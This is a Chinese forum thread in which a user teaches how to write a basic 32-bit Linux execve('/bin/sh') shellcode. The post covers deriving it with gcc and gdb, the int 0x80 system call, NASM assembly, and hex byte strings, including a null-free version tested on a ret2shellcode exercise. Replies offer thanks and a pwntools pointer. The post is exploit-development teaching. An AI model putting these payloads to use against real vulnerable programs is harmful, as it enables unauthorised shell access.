cheng_sr 发表于 2021-12-1 12:00

一个简单的shellcode如何写

## 最简单的shellcode

```
execve("/bin/sh",0,0);
```

通过简单的汇编将这句shellcode描写出来

> eax = 0xb
>
> ebx = "/bin/sh"
>
> ecx = 0
>
> edx = 0
>
> int 0x80

```asm
section .text
global_start
_start:
xor eax,eax   ;eax=0   
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb   ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall
```



通过指令将汇编转化成可执行的二进制文件

```
$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o
$ ./shell
```

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112010951100.png)



## shellcode是如何获取的

我们先通过c程序写一个获取shell的代码

```c
#include<stdio.h>
#include<unistd.h>
void main(){

      execve("/bin/sh",0,0);
}
```

编译后成功获取shell

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112010958506.png)



首先将c程序转化成我们想要的汇编代码

```
gcc -S -masm=intel shell.c -o shell.s -m32
```

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011006264.png)

这是动态链接的 大体意识是

```
push 0
push 0
push *"/bin/sh\x00"
call execve
```

这里有一个问题,如果我们像这样子去构造shellcode我们需要知道execve的调用地址;

当然,我们可以直接来看一下execve调用这些参数干了啥

gdb动态调试一下

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011015105.png)

这时候我们可以看到execve的三个参数已经入站,准备调用execve函数,我们按s进入函数内部看一下



!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011019882.png)



我们看到他将

三个参数"/bin/sh",0,0分别传给ebx,ecx,edx,然后将0xb传给eax,

最终的到的结果是

```
eax=0xb
ebx="/bin/sh"
ecx=0
edx=0
```

我们看到后面还有个函数调用,我们进到里面看一下

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011027242.png)



这里调用了int 0x80(其他的push pop没啥用,维持栈平衡的)

## int 0x80

这里引用知乎上的文章解释int 0x80

https://zhuanlan.zhihu.com/p/358731121

操作系统提供了**中断指令int 0x80**来主动进入内核,这是用户程序发起的调用访问内核代码的唯一方式

- 用户程序中包含一段包含int指令的代码,通常是由库函数通过内联汇编插入
- 操作系统写中断处理,获取想调程序的编号
- 操作系统根据编号执行相应的代码



调用系统函数时会通过内联汇编代码**插入int 0x80的中断指令**,(不仅会插入中断指令,还会将系统调用编号设置给 %eax 寄存器)

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011045760.jpg)



### 简单的概括就是

int 0x80就是中断指令,执行eax内存储的系统调用号

shellcode中eax=0xb,也就是说execve的系统调用号是0xb

## 总结以上分析得到的shellcode

```
eax = 0xb
ebx = /bin/sh
ecx = 0
edx = 0
int 0x80
```



通过汇编将以上结论描述出来

```asm
section .text
global_start
_start:
xor eax,eax   ;eax=0   
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb   ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall
```



!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011054243.png)

中间这一块机械指令就是我们要的shellcode

```
shellcode="\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
```

这里拿ret2shellcode为例,尝试我们编写的shellcode是否成功


!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011151653.png)

这个shellcode执行失败,里面存在\x00

修改一下,将/bin/sh\x00修改成 /bin//sh

```asm
section .text
global_start
_start:
xor eax,eax   ;eax=0
push eax      ;将\x00 入栈作为截断
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx,esp    ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx    ;ecx=0
xor edx,edx    ;edx=0
mov al,0xb   ;eax=0xb 0xb是execve的系统调用号
int 0x80       ;执行系统调用,64位的话这里用systemcall
```

```
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
```

!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011152382.png)

wtdcode 发表于 2021-12-2 21:34

https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.sh 用pwnlib的话很多都是现成的。

soloxyq 发表于 2021-12-2 00:43

周末跟着学.

wxf2589 发表于 2021-12-2 06:07

rogxo 发表于 2021-12-2 08:52

新手必备

honghan 发表于 2021-12-2 10:15

学习了    有空试试

Lieyan01 发表于 2021-12-2 20:31

厉害了 围观大佬

dxdxdxdx 发表于 2021-12-2 20:59

有意思,学习一个

caiji1 发表于 2021-12-2 21:12

学习了,学习了:lol

zhf18646277887 发表于 2021-12-2 21:45

学习使人进步
页: [1] 2 3 4 5 6
查看完整版本: 一个简单的shellcode如何写